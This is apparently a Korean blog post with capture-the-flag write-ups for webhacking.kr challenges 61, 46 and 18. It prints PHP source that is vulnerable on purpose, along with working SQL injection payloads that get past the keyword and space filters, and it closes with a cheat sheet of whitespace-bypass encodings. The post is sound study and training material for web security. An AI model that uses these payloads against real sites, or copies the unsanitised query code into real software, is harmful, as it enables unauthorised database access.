<?


echo("<a href=index_lolll.phps>source</a>");


if(!$_GET[id]) $_GET[id]="guest";

echo("<html><head><title>Challenge 61</title></head><body>");


if(eregi("\(|\)|union|select|challenge|from|,|by|\.",$_GET[id])) exit("Access Denied");

if(strlen($_GET[id])>18) exit("Access Denied");


$q=@mysql_fetch_array(mysql_query("select $_GET[id] from c_61 order by id desc limit 1"));


echo("<b>$q[id]</b><br>");

if($q[id]=="admin") 

    @clear();


echo("</body></html>");


?>



필터문자

(, )

union

select

challenge

from

,

by

.


이러한 값이 전달되면 "Access Denied" 출력

마찬가지로 문자열 길이도 18 이상이면 "Access Denied"


[쿼리]

SELECT $_GET['id'] FROM c_61 ORDER BY id DESC LIMIT 1



어떻게하든 결과 값이 admin 레코드가 나오도록 해야함.


mysql> select 'admin' as no from member order by no;

+-------+

| no    |

+-------+

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

+-------+

10 rows in set (0.00 sec)


위 쿼리와 같은 방법으로 하면 해결할 수 있다.

member 테이블에 있는 각각의 레코드에 쿼리가 적용되며, 레코드 수 만큼 "admin"이라는 문자열이 출력될 것이다.


이 쿼리 방식을 문제에 적용하면 아래와 같다.


SELECT "admin" as id from c_61 ORDER BY id DESC LIMIT 1; 으로 쿼리를 보내면

모든 레코드마다 쿼리가 적용되며, id 칼럼에 "admin"이라는 문자열을 가져올 수 있다

하지만 magic_quotes_gpc 설정이 On으로 되어있기 때문에 "admin" 문자열을 쿼터 없이 만들어줘야함.


challenge/web/web-38/index.php?id=0x61646d696e%20as%20id0x61646d696e%20as%20id 

<html>

<head>

<title>Challenge 46</title>

</head>

<body>

<form method=get action=index.php>

level : <input name=lv value=1><input type=submit>

</form>

<?

if(time()<1256900400) exit();


?>

<!-- index.phps -->

<?


$_GET[lv]=str_replace(" ","",$_GET[lv]);

$_GET[lv]=str_replace("/","",$_GET[lv]);

$_GET[lv]=str_replace("*","",$_GET[lv]);

$_GET[lv]=str_replace("%","",$_GET[lv]);


if(eregi("union",$_GET[lv])) exit();

if(eregi("select",$_GET[lv])) exit();

if(eregi("from",$_GET[lv])) exit();

if(eregi("challenge",$_GET[lv])) exit();

if(eregi("0x",$_GET[lv])) exit();

if(eregi("limit",$_GET[lv])) exit();

if(eregi("cash",$_GET[lv])) exit();


$q=@mysql_fetch_array(mysql_query("select id,cash from members where lv=$_GET[lv]"));


if($q && $_GET[lv])

{

echo("$q[0] information<br><br>money : $q[1]");


if($q[0]=="admin") @solve();


}

?>


</body>

</html>


lv 파라미터 값을 전달하고 있다.(기본값 1).

또한, 전달되는 파라미터를 필터처리하는데 필터되는 문자는 공백, /, *, %, union, select, from, challenge, 0x, limit, cash 이다.


$q[0]은 $q['id']를 의미하며, $q['id']값이 admin이 되려면 파라미터에 0%09or%09id=char(97,100,109,105,110)# 를 입력하면된다.


입력폼에 입력하면 %부분을 %25로 인코딩하기 때문에 URL 에 직접입력하든

프록시 도구로 인터셉트해서 입력해야함.





<html> 
<head> 
<title>Challenge 18</title> 
<style type="text/css"> 
body { background:black; color:white; font-size:10pt; } 
input { background:silver; } 
a { color:lightgreen; } 
</style> 
</head> 
<body> 
<br><br> 
<center><h1>SQL INJECTION</h1> 
<form method=get action=index.php> 
<table border=0 align=center cellpadding=10 cellspacing=0> 
<tr><td><input type=text name=no></td><td><input type=submit></td></tr> 
</table> 
</form> 
<a style=background:gray;color:black;width:100;font-size:9pt;><b>RESULT</b><br> 
<? 
if($_GET[no]) 


if(
eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack"); 

$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]")); 

if(
$q[0]=="guest") echo ("hi guest"); 
if(
$q[0]=="admin"

@
solve(); 
echo (
"hi admin!"); 




?> 
</a> 
<br><br><a href=index.phps>index.phps</a> 
</cener> 
</body> 
</html> 


위 소스코드를 분석하면, eregi 함수를 사용해 $_GET['no'] 변수를 필터한다.

필터 문자로는 공백, /, (, ), 탭, |, &, union, select, from, 0x 이다.


[쿼리]

SELECT id FROM challenge18_table WHERE id='guest' and no=$_GET['no']


위와 같은 쿼리에서 $_GET['no'] 파라미터에 or no=admin계정의 no 값을 넣어주려고 했지만 no 값이 정확히 몇인지 모르고 귀찮아서 id='admin'을 해주려했지만 실패!


이유는? phpinfo() 값을 보니 magin_quotes_gpc 값이 On으로 설정돼있다.

따라서 싱글쿼터가 안들어가게 admin 을 넣어줘야한다. 


or id=0x61646d696e 를 $_GET['no']에 넣어주면 될 것 같지만 공백과 0x를 eregi함수에서 필터하기 때문에 실패!


char 함수로 admin문자를 만들어주려고 했지만 괄호까지 eregi 함수에서 필터하기 때문에 id를 이용한 SQL 인젝션은 포기하고 no 값을 0부터 하나하나 차근차근 넣기 시작


no=100%0aor%0ano=2 를 넣어보니 성공!



# 공백 우회 문자


1. Tab : %09

  - no=1%09or%09id='admin'

 

2. Line Feed (\n): %0a

  - no=1%0aor%0aid='admin'

 

3. Carrage Return(\r) : %0d

  - no=1%0dor%0did='admin'

 

4. 주석 : /**/

  - no=1/**/or/**/id='admin'

 

5. 괄호 : ()

  - no=(1)or(id='admin')

 

6. 더하기 : +

  - no=1+or+id='admin'


'WEB Hacking > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 07번 SQL 인젝션 UNION  (0) 2018.08.31
[webhacking.kr] 46번 SQL 인젝션 CHAR()  (0) 2018.08.29
[webhacking.kr] 39번 SQL 인젝션  (0) 2018.08.28
[webhacking.kr] 26번  (0) 2018.08.24
[webhacking.kr] 20번  (0) 2018.08.24

+ Recent posts